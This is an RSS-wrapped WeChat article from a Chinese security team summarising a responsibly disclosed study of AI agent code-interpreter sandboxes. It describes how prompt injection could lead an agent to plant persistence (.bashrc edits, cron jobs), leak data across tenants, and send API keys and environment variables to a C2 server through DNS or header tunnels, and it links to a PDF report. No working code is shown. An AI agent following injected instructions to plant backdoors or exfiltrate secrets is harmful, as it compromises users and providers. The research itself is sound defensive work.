<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>ChaMd5安全团队</title>
    <link>https://wechat2rss.xlab.app/feed/ffb536c22df3989d8077ce9babb475f41719d62d.xml</link>
    <description>一群不正经的老司机组成的史上最牛逼的安全团队。小二，来杯优乐美。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (ChaMd5安全团队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5ByMRSk2QPEOVqf9N3orRLVdRBQUTx1LPiagDgGOk9sKg/0</url>
      <title>ChaMd5安全团队</title>
      <link>https://wechat2rss.xlab.app/feed/ffb536c22df3989d8077ce9babb475f41719d62d.xml</link>
    </image>
    <item>
      <title>Agent Security 沙箱可持久化深度报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514257&amp;idx=1&amp;sn=a5d45921107ff3b185a7a94717993f0b</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>ChaMD5 AI Group</span> <span>2026-04-14 08:03</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=424a4bec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjvwqHfehg2MSxlmclXAnV0ttI4M8cnCiayHZtTa3dZ1uQo1FXiafh8vI1McLc5Pel9zzsQjibvBlMgUu9Ae1PbrZfTibIxurlJPvYXHC0f0LWyA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <blockquote style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;caret-color: rgb(0, 0, 0);border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;text-align: left;visibility: visible;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.4149139579349905" data-s="300,640" data-type="png" data-w="523" type="block" data-imgfileid="100030606" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c54a81ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2NfebCMVtBP0EjkP0jD70eqnNXIplLFG94byRPaerRHVaicRp1uicZWQ3po7ciaSpo8CJicjIsJLKzPT7WIzrcibeR5T7ibLLFeQoGvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">       近日由 ChaMd5 AI 安全团队 L 师傅主导，Q 师傅和 B 师傅协助，对各互联网产想 Agent 详细的安全测试结果。在负责任披露的前提下，相关安全测试结果已经提交到对应厂商的 SRC 并获取反馈。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.425" data-s="300,640" data-type="png" data-w="720" type="block" data-imgfileid="100030605" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=74a6162a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2MZlJYvuMzvCs28YzbT6Hs7beU5btPXF8lQQhV49WFJ37uXykFZaE4GR29SLCCagfZkSR6DFJAhWQgF9K3Bs7NsibnUxPiaV9Dbo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">背景</span></span></h3><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.65);border-right-color: rgba(0, 0, 0, 0.65);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(249, 249, 249, 0.76);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">大模型 Agent 深度应用下的沙箱安全边界探索</span></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">现状：从“对话框”到“自动化执行器”的演变</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当前，主流大模型厂商（如 OpenAI、Google、Anthropic 等）推出的 Agent 应用已不仅局限于文本生成，而是演变为具备复杂任务编排能力的集成式工作流。通过网页端，Agent 能够根据用户的复杂指令，动态地调用代码解释器（Code Interpreter）。 为了确保安全，这些代码通常运行在高度隔离的沙箱环境（Sandbox）中。这种机制极大地增强了模型处理结构化数据、生成图表以及执行复杂逻辑交付的能力，使用户任务的完成度从“建议”层面提升到了“工程”层面。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">核心风险点：提示词注入引发的“自然语言 RCE”</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然而，随着功能复杂度的提升，安全边界也随之变得模糊。最核心的隐患在于：提示词注入（Prompt Injection）是否能够转化为针对沙箱环境的实质性控制？</span><span leaf=""><br/></span><span leaf="">在传统网络安全中，远程代码执行（RCE）通过漏洞触发；而在 Agent 场景下，攻击者可能通过精心构造的网页提示词或引诱 Agent 加载恶意外部插件/网页，以“自然语言”的形式诱导模型在沙箱内执行具有持久化意图的恶意代码。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">深度隐患：沙箱持久化与跨域复用</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果沙箱的设计存在缺陷，攻击者可能尝试以下进阶攻击路径：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">沙箱持久化 (Sandbox Persistence): 探索是否可以通过特定的脚本注入，在沙箱文件系统或进程空间内实现驻留，规避任务结束后的销毁机制。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">跨账户/跨任务复用 (Cross-Session/Account Reuse): 验证是否存在一种方式，使得在任务A 中构造的恶意环境或敏感配置，能够通过某种隐蔽通道或缓存机制，“污染”到任务 B 甚至其他用户的会话环境中。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">越狱与公网外泄：测试沙箱是否可以通过复杂的协议隧道(如利用DNS请求、特定API 调用等)绕过出口限制，实现与攻击者控制端 (C2) 的公网通信，从而外泄沙箱内的敏感上下文数据。</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">核心测试维度</span></span></h4><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.65);border-right-color: rgba(0, 0, 0, 0.65);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(249, 249, 249, 0.76);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">为了验证前述关于沙箱持久化及跨账户复用的猜想，我们构建了四个测试模块。</span></p></blockquote><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">维度 A: 提示词诱导下的持久化植入</span></span></h5><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">测试是否能通过特定指令，使Agent在沙箱文件系统中留下“逻辑后门”(如修改.bashrc 或植入定时任务),从而在用户开启新会话时自动激活恶意逻辑。</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">维度B: 沙箱隔离性边界探测(侧向移动)</span></span></h5><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">利用内存溢出或文件系统漏洞，尝试探测同一宿主机下不同用户沙箱的残留信息，验证是否存在跨租户的数据泄露风险。</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">维度C: 外发通信与隐蔽隧道</span></span></h5><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在严格受限的网络环境下，尝试利用DNS重定向、HTTP Header走私等手段，测试沙箱内敏感数据(如环境变量、 API Key) 回传至外部控制端(C2)的可能性。</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">维度 D: 水平越权与会话污染</span></span></h5><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">验证 Agent 在多任务切换过程中，是否会错误地将上一个任务的权限或上下文携带至下一个不相关的任务中，导致权限边界崩溃。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为了验证前述关于沙箱持久化及跨账户复用的猜想，测试小组构建了四个测试模块，并进行了深度安全测试。 详细报告下载请见下面pdf 下载链接。 </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过网盘分享的文件：Agent Security 沙箱可持久化深度报告-2026-04-13-ChaMD5 AI Group.pdf </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">链接: <a href="https://pan.baidu.com/s/147cCgSpNbl4WNTnj72lf9w?pwd=3itf" target="_blank">https://pan.baidu.com/s/147cCgSpNbl4WNTnj72lf9w?pwd=3itf</a> 提取码: 3itf</span></span></p></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span 